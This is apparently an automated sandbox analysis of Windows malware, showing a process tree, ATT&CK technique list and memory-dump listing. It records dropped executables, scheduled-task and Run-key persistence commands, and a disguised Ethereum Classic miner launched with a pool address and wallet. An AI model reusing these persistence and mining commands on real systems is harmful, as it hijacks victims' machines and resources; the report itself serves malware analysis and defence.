        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4080
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        34⤵
        
        PID:1824
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        35⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1388
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        36⤵
        
        PID:596
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        36⤵
        
        PID:396
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        37⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3024
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        38⤵
        
        PID:2328
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        38⤵
        
        PID:608
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        39⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3712
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        40⤵
        
        PID:3708
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        40⤵
        
        PID:3180
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        41⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1064
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        42⤵
        
        PID:3132
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        42⤵
        
        PID:1656
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        43⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3800
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        44⤵
        
        PID:416
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        44⤵
        
        PID:3324
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        45⤵
        Executes dropped EXE
        
        PID:1328
- - C:\Users\Admin\AppData\Roaming\whw.exe
    "C:\Users\Admin\AppData\Roaming\whw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3320
- - C:\Users\Admin\AppData\Roaming\e3dwefw.exe
    "C:\Users\Admin\AppData\Roaming\e3dwefw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
      4⤵
      Creates scheduled task(s)
      PID:388
- - C:\Users\Admin\AppData\Local\Temp\deadcloud1_build.exe
    "C:\Users\Admin\AppData\Local\Temp\deadcloud1_build.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3880
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      4⤵
      PID:1280
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:3436
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      4⤵
      PID:3252
    - - C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        5⤵
        Executes dropped EXE
        
        PID:996

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
1⤵
- Executes dropped EXE
PID:3884
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
  2⤵
  - Creates scheduled task(s)
  PID:1184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/504-154-0x00007FF72AE70000-0x00007FF72C50A000-memory.dmp

Download

memory/504-153-0x00007FF72AE70000-0x00007FF72C50A000-memory.dmp

Download

memory/504-152-0x00007FF72A060000-0x00007FF72A431000-memory.dmp

Download

memory/672-155-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/672-166-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/904-191-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/904-192-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/904-190-0x00007FF714BD0000-0x00007FF714FA1000-memory.dmp

Download

memory/996-250-0x0000000000400000-0x0000000001049000-memory.dmp

Download

memory/1064-183-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1132-277-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1132-275-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1152-259-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1152-258-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1156-197-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1176-176-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1176-168-0x00007FF713D70000-0x00007FF714141000-memory.dmp

Download

memory/1176-177-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1200-286-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1200-288-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1296-309-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1296-308-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/1516-234-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1732-167-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1732-157-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/2080-342-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/2080-341-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/2128-214-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/2192-215-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2268-235-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2416-115-0x0000000000180000-0x000000000027C000-memory.dmp

Download

memory/2416-121-0x0000000005750000-0x0000000005751000-memory.dmp

Download

memory/2416-119-0x0000000004F10000-0x0000000004F86000-memory.dmp

Download

memory/2416-116-0x0000000000180000-0x000000000027C000-memory.dmp

Download

memory/2416-122-0x0000000004FF0000-0x0000000004FFA000-memory.dmp

Download

memory/2416-118-0x0000000004B70000-0x0000000004C02000-memory.dmp

Download

memory/2416-120-0x0000000004B00000-0x0000000004B1E000-memory.dmp

Download

memory/2416-117-0x0000000005070000-0x000000000556E000-memory.dmp

Download

memory/2460-198-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2700-229-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/2700-227-0x00007FF714B00000-0x00007FF714ED1000-memory.dmp

Download

memory/2700-228-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/2752-352-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/2752-354-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/2832-330-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/2832-332-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3044-208-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3044-207-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3044-213-0x00007FF7147F0000-0x00007FF714BC1000-memory.dmp

Download

memory/3088-299-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3088-298-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3124-244-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/3320-141-0x0000000000800000-0x0000000000820000-memory.dmp

Download

memory/3320-185-0x0000000006BA0000-0x0000000006D62000-memory.dmp

Download

memory/3320-186-0x00000000072A0000-0x00000000077CC000-memory.dmp

Download

memory/3320-187-0x0000000006B10000-0x0000000006B60000-memory.dmp

Download

memory/3320-151-0x0000000004FB0000-0x00000000055B6000-memory.dmp

Download

memory/3320-175-0x0000000006020000-0x0000000006086000-memory.dmp

Download

memory/3320-150-0x00000000050B0000-0x00000000050FB000-memory.dmp

Download

memory/3320-173-0x0000000005580000-0x000000000559E000-memory.dmp

Download

memory/3320-172-0x00000000060D0000-0x00000000065CE000-memory.dmp

Download

memory/3320-149-0x0000000005070000-0x00000000050AE000-memory.dmp

Download

memory/3320-170-0x00000000054A0000-0x0000000005532000-memory.dmp

Download

memory/3320-145-0x0000000005140000-0x000000000524A000-memory.dmp

Download

memory/3320-139-0x0000000000800000-0x0000000000820000-memory.dmp

Download

memory/3320-144-0x0000000005010000-0x0000000005022000-memory.dmp

Download

memory/3320-142-0x00000000055C0000-0x0000000005BC6000-memory.dmp

Download

memory/3320-169-0x0000000005420000-0x0000000005496000-memory.dmp

Download

memory/3668-132-0x0000000005610000-0x000000000565B000-memory.dmp

Download

memory/3668-163-0x0000000008C30000-0x0000000008CA6000-memory.dmp

Download

memory/3668-125-0x0000000000400000-0x0000000000422000-memory.dmp

Download

memory/3668-174-0x000000000AF70000-0x000000000B49C000-memory.dmp

Download

memory/3668-126-0x0000000000400000-0x0000000000422000-memory.dmp

Download

memory/3668-171-0x000000000A670000-0x000000000A832000-memory.dmp

Download

memory/3668-165-0x0000000008D10000-0x0000000008D2E000-memory.dmp

Download

memory/3668-123-0x0000000000400000-0x0000000000422000-memory.dmp

Download

memory/3668-127-0x00000000056B0000-0x0000000005CB6000-memory.dmp

Download

memory/3668-128-0x0000000005100000-0x0000000005112000-memory.dmp

Download

memory/3668-129-0x0000000005230000-0x000000000533A000-memory.dmp

Download

memory/3668-130-0x0000000005190000-0x00000000051F6000-memory.dmp

Download

memory/3668-131-0x00000000055A0000-0x00000000055DE000-memory.dmp

Download

memory/3668-184-0x0000000002AC0000-0x0000000002B10000-memory.dmp

Download

memory/3668-133-0x00000000065D0000-0x00000000065D1000-memory.dmp

Download

memory/3668-162-0x00000000094F0000-0x00000000099EE000-memory.dmp

Download

memory/3668-164-0x0000000008FF0000-0x0000000009082000-memory.dmp

Download

memory/3748-320-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3748-319-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3880-224-0x000000001BF16000-0x000000001BF17000-memory.dmp

Download

memory/3880-218-0x000000001C110000-0x000000001C2FA000-memory.dmp

Download

memory/3880-222-0x000000001BF10000-0x000000001BF12000-memory.dmp

Download

memory/3880-223-0x000000001BF13000-0x000000001BF15000-memory.dmp

Download

memory/3880-219-0x000000001BEC0000-0x000000001BED2000-memory.dmp

Download

memory/3880-202-0x0000000000400000-0x0000000001049000-memory.dmp

Download

memory/3880-206-0x00007FFE0B960000-0x00007FFE0B962000-memory.dmp

Download

memory/3880-216-0x0000000002D50000-0x0000000002F3A000-memory.dmp

Download

memory/3880-217-0x000000001C110000-0x000000001C2FA000-memory.dmp

Download

memory/3908-238-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/3908-239-0x00007FF715180000-0x00007FF71681A000-memory.dmp

Download

memory/4016-182-0x0000000140000000-0x0000000140022000-memory.dmp

Download